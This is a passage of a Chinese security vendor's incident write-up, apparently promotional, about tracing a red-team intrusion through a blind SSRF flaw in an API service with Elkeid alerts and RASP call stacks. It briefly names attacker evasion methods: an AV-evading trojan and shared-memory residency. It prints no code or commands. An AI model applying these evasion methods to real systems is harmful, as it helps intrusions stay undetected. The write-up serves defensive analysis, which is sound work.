16px;">好在日志排查小组很快找到了上一跳的来源，是来自一个对外提供的API服务。但在上一跳API服务所在机器上并没有发现任何驻留告警，只有一个容器内的dnslog告警。攻击者所用的dnslog服务和被入侵机器在初期测试时一样都是某特殊dnslog服务的域名，我们有理由认为这是同一个入侵者在前期踩点，利用dnslog测试漏洞。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4703704" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=31e3f454&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAWOhl22pEx5Ht8WMjOWnlf0z1hicqwnblEzRSEP75FZh2C2T98ofoCUg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">由于 Elkeid 告警中提供了容器名和镜像名，我们得以通过这个关键信息找到业务方。进而得知被利用的业务本身为对客户提供支持的API服务，无法长期关闭。应急小组在这时产生了两个假设，一组人员认为是存在内存马，另一组人员认为存在SSRF。于是为了解决这个问题，应急小组下发了RASP来协助排查入口。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">很快的 RASP 就随着入侵者持续的测试和攻击行为产生了告警。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.5574074" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bf08487a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBABHhPgFOBamScBvZn4UGA5w6Dmo5w8HKM3mJJUkJpCumLLuDoW64x5g%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">告警内容是敏感文件读写，可以看到入侵者仍在持续进行当前机器的探测，但也说明目前攻击者还在利用的初级阶段。从调用栈中可以看到是存在一个处理下载逻辑的 Controller类，通过和相关业务确认得知这个类属于业务代码，结合其他调用栈信息排除了动态注入内存马的可能性。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.3351852" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);vertical-align: middle;overflow-wrap: break-word !important;background-color: rgb(238, 237, 235) !important;background-size: 22px !important;background-position: center center !important;background-repeat: no-repeat !important;height: 214.843px !important;width: 637px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=69a94be9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAXI8xDJADvwROmUVxdHOUEG4ANfrzmBc7jhg0pkicZcKezMibwibtYicFibw%2F640%3Fwx_fmt%3Dpng"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">从对该应用更多的 RASP 数据的分析中，发现在某个业务逻辑中存在对上一个受害 Jenkins 服务的网络连接数据，在RASP调用栈中进而确认到 SSRF 漏洞具体代码位置。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">在判断出是存在 SSRF 盲打漏洞后，业务依据RASP所记录的栈信息排查了能访问其他IP的功能项，并对该功能项进行Hot-fix执行下线处理。至此，再也没有相关告警进入，应急完成。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 661px;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);background-color: rgb(239, 239, 239);"><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">在事后应急小组进行定损取证，并开始反向调查入侵者身份时，被安全负责人告知为背靠背渗透演练。快速的反应和阻断得到了渗透方的高度评价，横向尝试均被抓获，基本没有进一步渗透的时间。</p></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 20px;">三、事件回顾</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4416667" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);vertical-align: middle;overflow-wrap: break-word !important;background-color: rgb(238, 237, 235) !important;background-size: 22px !important;background-position: center center !important;background-repeat: no-repeat !important;height: 282.458px !important;width: 637px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ac6edda2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBA7icSwMWlCPU6ZmhFecIjsCQXjUbial9LLqqJXguKPBae6icErU5RrOrVg%2F640%3Fwx_fmt%3Dpng"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">以上为本次入侵的整体图谱，本次入侵者使用的木马经过了免杀处理 ，同时通过写入共享内存进行了一定的入侵对抗。因此传统主机安全的落盘文件检测、静态文件检测等功能，在这个事件中均不能起到很好的作用。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.3029525" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);vertical-align: middle;overflow-wrap: break-word !important;background-color: rgb(238, 237, 235) !important;background-size: 22px !important;background-position: center center !important;background-repeat: no-repeat !important;height: 194.375px !important;width: 637px !important;" data-type="png" data-w="779" src="https://wechat2rss.xlab.app/img-proxy/?k=8b4f8064&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAOoqFKk4pYzV3HjczGPm9ujVMyNcnfsqnucg9ah9yEWCepPopARENMQ%2F640%3Fwx_fmt%3Dpng"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><blockquote data-type="2" data-url="" data-author-name="" data-content-utf8-length="36" data-source-title="" style="margin: 1em 0px;padding: 4px 0px 0px 10px;outline: 0px;border-left: 3px solid rgb(219, 219, 219);color: rgba(0, 0, 0, 0.5);font-size: 15px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">VirusTotal 中现有的60个商业病毒检测引擎均对此次样本没有检出</section></section></blockquote><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">Elkeid 基于内核层数据采集的动态行为告警正是面对这种较强对抗性入侵的不二之选，Elkeid 在本次应急过程中不只是提供了各个行为点位的动态告警，同时还提供很多功能特性用于辅助安全人员进行判断和处置。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 18px;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">溯源查看驻留信息</strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4722222" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(238, 237, 235);vertical-align: middle;overflow-wrap: break-word !important;background-color: rgb(238, 237, 235) !important;background-size: 22px !important;background-position: center center !important;background-repeat: no-repeat !important;height: 301.861px !important;width: 637px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8c04e835&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAaafEInPbQSTSYBicXicaKiaHSjkyq9fvrdiceKPJu5ibicdJKwmlLdFz7UAg%2F640%3Fwx_fmt%3Dpng"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">Elkeid 对每一个行为生成的告警均会进行自动化溯源，在看到告警的同时，溯源数据也会提供在告警当中。往往安全人员在登录机器排查后会遇到一连串问题：</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><ul class="list-paddingleft-1" style="margin: 0px;padding: 0px 0px 0px 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;list-style-type: disc;"><li style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;">到底有多少文件是入侵者引入的？</p></li><li style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;">哪些地方有驻留？</p></li><li style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;">木马文件是否删除干净？</p></li><li style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;">入侵者有没有横向移动？</p></li><li style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;">有多少数据遭到窃取？</p></li></ul><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">以上这种信息往往需要通过安全专家在机器上进行细致排查才能确认，或者干脆重装整个机器才能彻底解决这种疑问带来的不确定性。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">现在 Elkeid 提供实时溯源能力，可以在告警同时得知入侵者的具体行为，包括文件创建/内网访问/数据读取等行为均可以在溯源图上看到。这会极大的缩短判断时间，同时将对业务造成的影响缩减到最小。安全人员完全可以根据入侵者行为编写专杀，清理后门，同时不用迁移/重启/停止业务。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 18px;">实时事件归并</span></strong></p></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">从整体事件页面看，攻击者一共触发了73个告警，其中大多数为应急处置中引发的试探入侵阶段的对抗行为。Elkeid 实时事件归并能力可以将相关的 IP /进程/主机/文件 均自动关联并在单一事件中展示。处置人员无需跳转其它页面，即可在事件处置过程中获取到最新的关联有效告警。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.8898148" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=72d758c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAmN3pDc0wMicz2fpxp7Y4R2xbWqP4iaUsT8sOOy1XFPk35nKPIDpzkn7w%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">以下为本次安全事件中的归因逻辑，涵盖了所有下载的木马、被感染的机器，以及 C2 IP 的记录。安全人员在排查事件时，只需要刷新一下页面，就可以看到入侵者是否有新的动作产生？哪些机器还受到影响？哪些IP 还需要进行封禁？</p><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.2794872" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="780" src="https://wechat2rss.xlab.app/img-proxy/?k=996d04ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAPzzYGs5MLKicAWorq85C6arlU3YBfWicb98yGwm0iaL64vverwHPNd5fw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.3523316" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="772" src="https://wechat2rss.xlab.app/img-proxy/?k=3500cfc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAW8ZCdP8XFzoMhvwwwGBnee4v5JpKIaKiabqWRzN7nd2QzNtfSqLA7Tw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4045226" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="796" src="https://wechat2rss.xlab.app/img-proxy/?k=9602d1e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAYgapLjjS45nGGyxeicMUwkkia5GoNjDZUetJTiciaSGEJ8bKQ46IfR9GBQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 